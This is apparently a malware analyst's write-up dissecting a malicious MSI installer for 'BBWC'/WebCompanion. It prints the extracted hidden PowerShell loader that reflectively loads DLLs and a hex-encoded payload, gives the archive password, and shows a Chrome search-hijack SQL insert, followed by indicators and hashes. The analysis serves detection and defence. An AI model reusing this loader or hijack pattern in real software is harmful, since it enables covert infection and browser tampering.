Mystery MSI file

Sample obtained from App.any.run

SHA1: 371694797572bfc26f76818b2e11a6f6234d2a17

Analysis

A file with a different name, but same hash was caught by a customer's AV. I began by looking up the hash in App.Any.Run. I found it and grabbed the file above. It was an msi file.

The first part of analysis was to run the file command. To verify it is what is says it is. This resulted in:

file: 5f161.msi: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Dec 11 11:47:44 2009, Security: 0, Code page: 1252, Revision Number: {83A872CD-C2CC-41CD-8028-111979848746}, Number of Words: 10, Subject: BBWC, Author: Eclipse Media Inc, Name of Creating Application: Advanced Installer 15.8 build b14c769f44, Template: ;1033, Comments: This installer database contains the logic and data required to install BBWC., Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200

Next I grabbed the strings to see if there was anything unusual. I exported the strings output into a txt file and opened it with Sublime-text. I found multiple Windows PE files within, as expected in an msi file. I also saw copywrite, for *Copyright (c) by P.J. Plauger, licensed by Dinkumware, Ltd. ALL RIGHTS RESERVED.* Next I saw several places where PowerShell code was being run. Some of the scripts were broken up into sections. Each one ran with execution bypass, and flags for silent and no interaction.

```
 "$w="$env:APPDATA"+'/BBWC/';[\[]Reflection.Assembly[\]]::Load([\[]System.IO.File[\]]::ReadAllBytes($w+'Newtonsoft.Json.dll'));[\[]Refl
@HYE
DhE7G
A7CrD
?(E8B
D3?(A
ection.Assembly[\]]::Load([\[]System.IO.File[\]]::ReadAllBytes($w+'System.Data.SQLite.dll'));[\[]Reflection.Assembly[\]]::Load([\[]Syst
em.IO.File[\]]::ReadAllBytes($w+'ICSharpCode.SharpZipLib.dll'));[\[]Reflection.Assembly[\]]::Load([\[]System.IO.File[\]]
::ReadAllBytes($w+'LZ4.dll'));$f=$w+'WC.txt';$h=Get-Content -Path $f -Raw;$h=Get-Content -Path $f -Raw;[\[]byte[\[][\]][\]]$bytes=($h
-split '(.[\{]2[\}])' -ne '' -replace
'^','0X');[\[]Reflection.Assembly[\]]::Load($bytes);[\[]WebCcompanion.StartUp[\]]::Start()"powershell.exe -WindowStyle Hidden
```

I ran msiextract to get all the files that were in the msi file. There were five files extracted, updater.exe, 7za.exe, version.dat, WC.7z and WC.version.dll. I quickly threw each file into VirusTotal to see what is said about them. They got scores of 17/46, 15/71, 0/60, 0/60 and 0/68 respectively. I attempted to extract the 7z file with standard 7zip, but there was a password. I checked out the strings in the original msi file and in the extract dll. Nothing. I decided next to see what App.any.run showed when the original msi was analyzed. I saw the command line where it invoked a *-p1.22.1001.26353*. This was shown in the strings from the original msi file and also in the version.dat. I ran 7z extracting the WC.7z file with the correct password.

```
detector@detector-OptiPlex-3040:~/malware/msifile$ msiextract 5f161.msi
APPDIR:./version.dat
APPDIR:./WC.Version.dll
APPDIR:./updater.exe
APPDIR:./WC.7z
APPDIR:./7za.exe
```

The 7z file extracted five files, ICSharpCode.SharpZipLib.dll, LZ4.dll, Newtonsoft.Json.dll, System.Data.SQLite.dll and WC.txt.VirusTotal hits were 1/71, 0.70, 0/69, 0/70 and 15/60 respectively. The Newtonsoft.Json.dll did just recently showed a Yara rule hit, *https://github.com/kevoreilly/CAPEv2 by kevoreilly*, but still said 0/69 found it malicious.

I decided to explore the contents of WC.txt since it was 2.8 MB's in size. Viewed it quickly showed me it was a string of hex. The first two hex values were 4A5D, a Windows PE file. I brought the hex values into Cyberchef and applied the From Hex recipe and then downloaded the resulting PE file. VirusTotal showed 34/67 as malicious. The file was a dll, not an exe, with .NET framework code.

I wondered why the the SQLlite and Json dlls were present. I started by running the tool Floss on the dll. It showed some interesting results. I examined the section for UTF-16LE encoded strings. The first thing that caught my eye was a SQL Lite search query.

SELECT count(*) FROM keywords WHERE short_name='Chrome Search'
insert into keywords (`short_name`, `keyword`, `favicon_url`, `url`, `safe_for_autoreplace`, `originating_url`, `input_encodings`, `suggest_url`, `prepopulate_id`, `sync_guid`, `alternate_urls`, `image_url`, `search_url_post_params`, `suggest_url_post_params`, `image_url_post_params`, `new_tab_url`) VALUES ('Chrome Search', 'Chrome Search', 'https://www.search-get.com/favicon.ico', 'https://search-get.com/wc/search?q={searchTerms}&src=chrome', 1, '', 'UTF-8', 'http://api.bing.com/osjson.aspx?query={searchTerms}', 20, '
', '[]', '', '', '', 'search={imageThumbs}', '');

Then I saw lists of a lot of the most common browsers like Edge, Chrome, IE, Opera, Yandex, Safari, Firefox, etc. Based on what I can tell it's trying to see what browsers are installed and change the search engine to rt.webcompanion[.]com.

Continued search through the strings, showed additional PowerShell commands with hidden window and execution bypass. This command was adding a task to Windows TaskScheduler. The new task is set to run when the user logs on.

I found some extra URLs, http://x8k9eh[.]com, http://g4d2iw[.]com. A quick check in VirusTotal showed nothing with the sites. I attempted to browse to them using the Tor network, but nothing came. I tried wget and got a 302 response for both. Nothing further.

Continuing down this rabbit hole of strings. I found many references to registry keys, regular expression searches and more SQL search queries.

From what I can gather this malware will extract and install itself using PowerShell. It infects whatever browser is being used and records searches and probably more. It sets its own search engine as the default, creates a Task in TaskScheduler that runs when the user logs into their machine. It also continues to record information, making SQL queries. I'm not an expert on this, but I'm wondering if it formats the results into json and then eventually submits it to the attackers. It's unclear if it searches for passwords, but if it compromises a browser it has the ability to grab just about anything done within.

Indicators

- Multiple PowerShell commands hidden within the MSI file
  - Execution bypass
  - No interaction
  - No windows
- Password protected archive file, to evade detection
- Query browser cache
- Changing search engine to its own
- Adding itself into TaskScheduler and sets to auto start at login

URLs Found

http://x8k9eh[.]com
http://g4d2iw[.]com
http://dhb63vq2dmigo.cloudfront[.]net
http://rt.webcompanion[.]com

Hashes

371694797572bfc26f76818b2e11a6f6234d2a17 5f161.msi
355d1d8b153db7ba63102e2b2e0c8dd43962f9a3 7za.exe
68f6987934106a3c43918eb3ed6595d15c3bb3dc LZ4.dll
cba38a9c9059e59ec96d7af39dd51264391361d3 WC.7z
b2cceb5d9ac1f5cfa3f655b27236af4a241cf94b version.dat
1bd2fe3c654c146dd9c13e39c245551a6acea444 ICSharpCode.SharpZipLib.dll
c1d6921499e3cbe96efd8b93b639566fcaeb821e updater.exe
4ffc3c5a5d9b23330f4fef249a15dd0d5fe8b13d System.Data.SQLite.dll
67f0bd5cfa3824860626b6b3fff37dc89e305cec Newtonsoft.Json.dll
845122c41beae80ab1edac1ab312469930f7b1d2 WC.txt
67e25762da2034824a98c11abff3e4e8b63c74aa download.exe